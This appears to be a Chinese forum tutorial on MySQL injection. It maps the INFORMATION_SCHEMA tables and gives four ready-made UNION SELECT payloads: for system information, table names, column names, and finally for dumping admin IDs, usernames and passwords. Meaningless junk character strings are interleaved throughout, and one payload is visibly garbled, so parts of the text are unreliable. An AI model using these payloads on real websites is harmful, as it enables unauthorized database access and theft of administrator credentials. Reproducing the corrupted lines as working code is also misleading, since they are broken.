本文介绍MYSQL盲注的一些语句和方法
, z" N& ~6 V9 U F3 Z$ \/ _( R7 C; D6 [# t6 z' @
学习盲注前先了解下 IFORMATION_SCHEMA 库
8 l ]) Y; z# o0 D0 {, n
$ g& h- C; ]! U f) M7 b$ IMysql5内置的系统数据库IFORMATION_SCHEMA,其结构如MSSQL中的master数据库,其中记录了Mysql中所有
c# w0 `5 @9 y" {' `4 |4 m存在数据库名、数据库表、表字段。重点要求研究几个对SQL注入有用的数据表说明。
% B. o7 z* o$ k/ O1.得到所有数据库名:2 F3 P2 T0 L+ |
|SCHEMATA ->存储数据库名的表
* H- m& g( [; E' R; B& Y|---字段:SCHEMA_NAME ->数据库名称6 I: c x* h4 V+ @1 T1 J4 q
/ J6 T6 X. {; y9 }' t|TABLES ->存储表名6 ~" V4 ^- S" f6 ^
|---字段:TABLE_SCHEMA ->表示该表名属于哪个数据库名
$ M6 r0 ^. w* `: [|---字段:TABLE_NAME ->存储表的表名
4 J H E2 n" ^2 m2 V% k) ^! Z l" N7 k: k) ?+ b2 @
|COLUMNS ->存储的字段名表, [! E5 @% X+ {" I) y9 y1 [+ p/ {
|---字段:TABLE_SCHEMA ->该字段所属数据库名
& ?7 C, a- l2 l3 A1 M2 s& _|---字段:TABLE_NAME ->存储所属表的名称* ` P2 h9 p4 N2 F( \: j2 X6 h, C
4 J- T4 c6 K! _& C1 q8 e) d+ E|---字段:COLUMN_NAME ->该字段的名称1 Y0 }6 Q2 g# I9 m. G
1 l& t# A) H* s' C \9 O5 |
6 d1 O3 ]! Z1 p9 @" z: |
+ O2 h( ~; o% h8 Q$ x* E4 ]% x* { O###########################################################################
" z9 C: ~8 k0 R" K) B8 a0 w, C( B/ A
0x001 获取系统信息:
/ t) {; P1 f" a j3 \" o6 C9 T5 d. [! Q4 F, [" e
union select 1,2,3,4,5,concat(@@global.version_compile_os,0x3c62723e,@@datadir,0x3c62723e,user(),0x3c62723e,version()da?tabase(),0x3c62723e,database()),7,8,9 /** r$ |, n6 v/ ?3 t9 E3 H
* P2 u2 [6 o1 @7 k
/*
' R8 B% U0 x! \4 w' i; N/ \; {; @$ Y' s2 _5 K* ]* Y
@@global.version_compile_os 获取系统版本
1 ]. e8 M# \& w1 ^0 \" e
}# B. U6 T% v) w/ E& R# I@@datadir 数据库路径
" f4 F' b2 G# Y. G8 n7 \database() 当前数据库名称! f4 r0 P! W; j5 N! c7 S" V8 U
0x3c62723e 换行HEX值
4 j. B; \1 f+ Q) f# p, A2 U; d: e- V
*/: f" f" f. P1 j
8 j3 H1 q7 J5 D2 G * x, ~+ N8 f: Z" c9 R7 H" d
) l( P! ~9 x9 U' o######################################################################
6 Q8 t& O [: U0 l H+ T( ]! C* ~* F( }$ S8 k5 E t
0x002 获取表名0 g2 @ T0 F! C
& w; v3 q1 D3 A( s9 V1 v! D tunion select 1,2,group_concat(table_name),4,5,6,7,8,9 from information_schema.tables where table_schema=0x67617264656e /*8 ?: a* S- m; a% e0 b1 D/ V
2 ]* A2 U( r4 ], E. _+ ^
2 L0 ^/ i, M% O+ ~- f2 v( s" N
8 ? O, j( i4 h# [
/*
1 `6 A" g1 j, u* Z$ P) O5 _: ~+ `' i6 Z$ k+ I8 F
0x67617264656e 为当前数据库名
8 R1 q: [- P- ^$ e! ~4 ?! i' ^( o- R( _6 Z/ ]
group_concat(table_name) 使用group_concat函数 一步获得该库所有表名
( W' y; m, w+ f: ~! g/ ?
7 v! r* J6 M' s+ P*/
$ O* \' o8 {$ X# q& u( J }+ d
$ ~6 Z6 O) U% F! R0 j7 T######################################################################5 Q9 z2 c" z- R
- U9 s+ I" t% Z. d9 U# F3 V1 u
4 \) V. ]2 ^! ?/ g! P9 x! B0 W, N5 H5 d
0x003 获取字段" j5 u7 i2 p6 k$ r& D0 n
& t8 \ e3 n9 s1 r% Funion select 1,2,group_concat(column_name),4,5,6,7,8,9 from information_schema.columns where table_name=0x61646d696e and table_schema=0x67617264656e limit 1 /* t7 Q) `- `( b0 o. Z. C3 d
1 v; F' G# N6 Q8 H) v( D/*
$ t* n' s# y& L6 k. A" C. e! @( _: }9 Y' `" l
group_concat(column_name) 同样是 一口气 获得该表(0x61646d696e)所有字段
: B1 X6 R9 \0 s5 q' e# n! Q2 M0 j* t( y! K: ^0 P0 p( C
0x61646d696e ->选择一个表
1 ^* y/ F7 _- t8 W
0 ~# H, ]) \8 }4 A) _5 o2 I+ m7 [0x67617264656e ->数据库名
& _; r1 A- f* N. ], u/ g
& ~/ [" n3 C3 w7 _*/2 |: \# C( e) o
* G; X- G5 C$ [+ q t#####################################################################
+ u! H( u: F. z0 q$ i4 _. _8 Y- l; M( l' \2 C( J
0 y# h$ O& } Q) u1 M5 m3 z4 U: v+ T! C0 Q$ g1 @! H) q
0x004 获取数据3 M' Q, U6 y; r5 x3 i& V- I
/ }2 Y: b" h% O$ Y; J
union select 1,2,37 r& K* H$ O8 X3 K
,4,5,concat(id,0x3c62723e,adname,0x3c62723e,adpassword),6,7,8 from admin
' `& s, q+ L/ d* ], L$ C; o
) e3 \9 T6 O8 n: h5 |' Uunion select 1,group_concat(id),group_concat(adname),4,5,group_concat(adpassword),6,7,8 from admin$ x% y4 }8 D& J# Q" R k. {) L. n
) M) I) i" M1 S Z
7 s9 X* q' M) a8 o2 ^' c+ E( R4 }* s; b1 m' O c2 ^" d4 r
/*
4 x$ d! R& f' t0 A. O& |' Q; \: n% `4 K4 v/ T5 t4 d/ i# y( X
0x3c62723e 换行符号HEX编码
& h+ R2 ]# h3 \; L" x) O G ], \ H I3 {
group_concat 同时获得该字段所有数据% N8 i% r/ a5 c( C5 J$ _
! {, K' u3 G' |*/6 t# V8 d |* |4 d' ?
5 @% W! B0 O0 @+ {6 \$ }" ?
|